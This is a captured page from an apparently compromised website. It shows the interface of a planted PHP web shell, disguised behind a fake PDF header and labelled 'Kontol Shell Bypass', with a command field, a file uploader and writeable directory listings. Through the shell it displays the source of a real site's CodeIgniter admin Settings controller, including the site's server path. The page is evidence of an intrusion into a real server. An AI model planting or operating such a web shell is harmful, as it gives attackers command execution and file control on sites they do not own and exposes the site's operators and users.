%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardacorporation.net/application/modules/admin/controllers/settings/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardacorporation.net/application/modules/admin/controllers/settings/Settings.php
<?php

/*
 * @Author:    Kiril Kirkov
 *  Gitgub:    https://github.com/kirilkirkov
 */
if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}

class Settings extends ADMIN_Controller
{

    public function __construct()
    {
        parent::__construct();
        //$this->load->model('Languages_model');
    }

    public function index()
    {
        $this->login_check();
        $data = array();
        $head = array();
        $head['title'] = 'Administration - Settings';
        $head['description'] = '!';
        $head['keywords'] = '';

        $this->postChecker();

        $data['siteLogo'] = $this->Public_model->getValueStore('sitelogo');
        $data['siteLogoTwo'] = $this->Public_model->getValueStore('sitelogo_two');
        $data['naviText'] = $this->Public_model->getValueStore('navitext');
        $data['footerCopyright'] = $this->Public_model->getValueStore('footercopyright');
        $data['contactsPage'] = $this->Public_model->getValueStore('contactspage');
        $data['footerContactAddr'] = $this->Public_model->getValueStore('footerContactAddr');
        $data['footerContactPhone'] = $this->Public_model->getValueStore('footerContactPhone');
        $data['footerContactEmail'] = $this->Public_model->getValueStore('footerContactEmail');

        $data['footerSocialFacebook'] = $this->Public_model->getValueStore('footerSocialFacebook');
        $data['footerSocialTwitter'] = $this->Public_model->getValueStore('footerSocialTwitter');
        $data['footerSociallinkedin'] = $this->Public_model->getValueStore('footerSociallinkedin');
        $data['footerSocialInstagram'] = $this->Public_model->getValueStore('footerSocialInstagram');
        $data['footerSocialYoutube'] = $this->Public_model->getValueStore('footerSocialYoutube');

        $data['contactsEmailTo'] = $this->Public_model->getValueStore('contactsEmailTo');
		
		
        $data['footerNational'] = $this->Public_model->getValueStore('footerNational');
        $data['footerInternational'] = $this->Public_model->getValueStore('footerInternational');
		
        $data['googleMaps'] = $this->Public_model->getValueStore('googleMaps');
        $data['footerAboutUs'] = $this->Public_model->getValueStore('footerAboutUs');
        $data['publicDateAdded'] = $this->Public_model->getValueStore('publicDateAdded');
        $data['googleApi'] = $this->Public_model->getValueStore('googleApi');
        $data['googleAnalytics'] = $this->Public_model->getValueStore('googleAnalytics');
        //$data['languages'] = $this->Languages_model->getLanguages();
        //$data['law_themes'] = array_diff(scandir('.' . DIRECTORY_SEPARATOR . 'assets' . DIRECTORY_SEPARATOR . 'imgs' . DIRECTORY_SEPARATOR . 'cookie-law-themes' . DIRECTORY_SEPARATOR), array('..', '.'));
        $this->load->view('_parts/header', $head);
        $this->load->view('settings/settings', $data);
        $this->load->view('_parts/footer');
        $this->saveHistory('Go to Settings Page');
    }

    private function postChecker()
    {
        $this->login_check();
        if (isset($_POST['uploadimage'])) {
            $config['upload_path'] = '.' . DIRECTORY_SEPARATOR . 'attachments' . DIRECTORY_SEPARATOR . 'site_logo' . DIRECTORY_SEPARATOR;
            $config['allowed_types'] = 'gif|jpg|png';
            $config['max_size'] = 10024;
            $config['max_width'] = 6000;
            $config['max_height'] = 6000;

            $this->load->library('upload', $config);

            if (!$this->upload->do_upload('sitelogo')) {
                $this->session->set_flashdata('resultSiteLogoPublish', $this->upload->display_errors());
            } else {
                $data = array('upload_data' => $this->upload->data());
                $newImage = $data['upload_data']['file_name'];
                $this->Public_model->setValueStore('sitelogo', $newImage);
                $this->saveHistory('Change site logo');
                $this->session->set_flashdata('resultSiteLogoPublish', 'New logo is set!');
            }
            redirect('admin/settings');
        }
		 if (isset($_POST['uploadlogoimage'])) {
            $config['upload_path'] = '.' . DIRECTORY_SEPARATOR . 'attachments' . DIRECTORY_SEPARATOR . 'site_logo' . DIRECTORY_SEPARATOR;
            $config['allowed_types'] = 'gif|jpg|png';
            $config['max_size'] = 10024;
            $config['max_width'] = 6000;
            $config['max_height'] = 6000;

            $this->load->library('upload', $config);

            if (!$this->upload->do_upload('sitelogo_two')) {
                $this->session->set_flashdata('resultSiteLogoPublish1', $this->upload->display_errors());
            } else {
                $data = array('upload_data' => $this->upload->data());
                $newImage = $data['upload_data']['file_name'];
                $this->Public_model->setValueStore('sitelogo_two', $newImage);
                $this->saveHistory('Change site logo');
                $this->session->set_flashdata('resultSiteLogoPublish', 'New logo is set!');
            }
            redirect('admin/settings');
        }
		
        if (isset($_POST['naviText'])) {
            $this->Public_model->setValueStore('navitext', $_POST['naviText']);
            $this->session->set_flashdata('resultNaviText', 'New navigation text is set!');
            $this->saveHistory('Change navigation text');
            redirect('admin/settings');
        }
        if (isset($_POST['footerCopyright'])) {
            $this->Public_model->setValueStore('footercopyright', $_POST['footerCopyright']);
            $this->session->set_flashdata('resultFooterCopyright', 'New navigation text is set!');
            $this->saveHistory('Change footer copyright');
            redirect('admin/settings');
        }
        if (isset($_POST['contactsPage'])) {
            $this->Public_model->setValueStore('contactspage', $_POST['contactsPage']);
            $this->session->set_flashdata('resultContactspage', 'Contacts page is updated!');
            $this->saveHistory('Change contacts page');
            redirect('admin/settings');
        }
        if (isset($_POST['footerContacts'])) {
            $this->Public_model->setValueStore('footerContactAddr', $_POST['footerContactAddr']);
            $this->Public_model->setValueStore('footerContactPhone', $_POST['footerContactPhone']);
            $this->Public_model->setValueStore('footerContactEmail', $_POST['footerContactEmail']);
            $this->session->set_flashdata('resultfooterContacts', 'Contacts on footer are updated!');
            $this->saveHistory('Change footer contacts');
            redirect('admin/settings');
        } 
		
		if (isset($_POST['footerWhatsapp'])) {
            $this->Public_model->setValueStore('footerNational', $_POST['footerNational']);
            $this->Public_model->setValueStore('footerInternational', $_POST['footerInternational']);
            $this->saveHistory('Change footer Whats App');
            redirect('admin/settings');
        }
        if (isset($_POST['footerSocial'])) {
            $this->Public_model->setValueStore('footerSocialFacebook', $_POST['footerSocialFacebook']);
            $this->Public_model->setValueStore('footerSocialTwitter', $_POST['footerSocialTwitter']);
            $this->Public_model->setValueStore('footerSociallinkedin', $_POST['footerSociallinkedin']);
            $this->Public_model->setValueStore('footerSocialInstagram', $_POST['footerSocialInstagram']);
            $this->Public_model->setValueStore('footerSocialYoutube', $_POST['footerSocialYoutube']);
            $this->session->set_flashdata('resultfooterSocial', 'Social on footer are updated!');
            $this->saveHistory('Change footer contacts');
            redirect('admin/settings');
        }
        if (isset($_POST['googleMaps'])) {
            $this->Public_model->setValueStore('googleMaps', $_POST['googleMaps']);
            $this->Public_model->setValueStore('googleApi', $_POST['googleApi']);
            $this->session->set_flashdata('resultGoogleMaps', 'Google maps coordinates and api key are updated!');
            $this->saveHistory('Update Google Maps Coordinates and Api Key');
            redirect('admin/settings');
        }
		
		if (isset($_POST['googleAnalytics'])) {
			$this->Public_model->setValueStore('googleAnalytics', $_POST['googleAnalytics']);
            $this->session->set_flashdata('resultGoogleAnalytics', 'Google Analytics are updated!');
            $this->saveHistory('Update Google Analytics');
            redirect('admin/settings');
        }
		
        if (isset($_POST['footerAboutUs'])) {
            $this->Public_model->setValueStore('footerAboutUs', $_POST['footerAboutUs']);
            $this->session->set_flashdata('resultFooterAboutUs', 'Footer about us text changed!');
            $this->saveHistory('Change footer about us info');
            redirect('admin/settings');
        }
        if (isset($_POST['contactsEmailTo'])) {
            $this->Public_model->setValueStore('contactsEmailTo', $_POST['contactsEmailTo']);
            $this->session->set_flashdata('resultEmailTo', 'Email changed!');
            $this->saveHistory('Change where going emails from contact form');
            redirect('admin/settings');
        }
        
        
        
    }

    // private function setCookieLaw($post)
    // {
    //     $this->Home_admin_model->setCookieLaw($post);
    // }

    // private function getCookieLaw()
    // {
    //     return $this->Home_admin_model->getCookieLaw();
    // }

}

Kontol Shell Bypass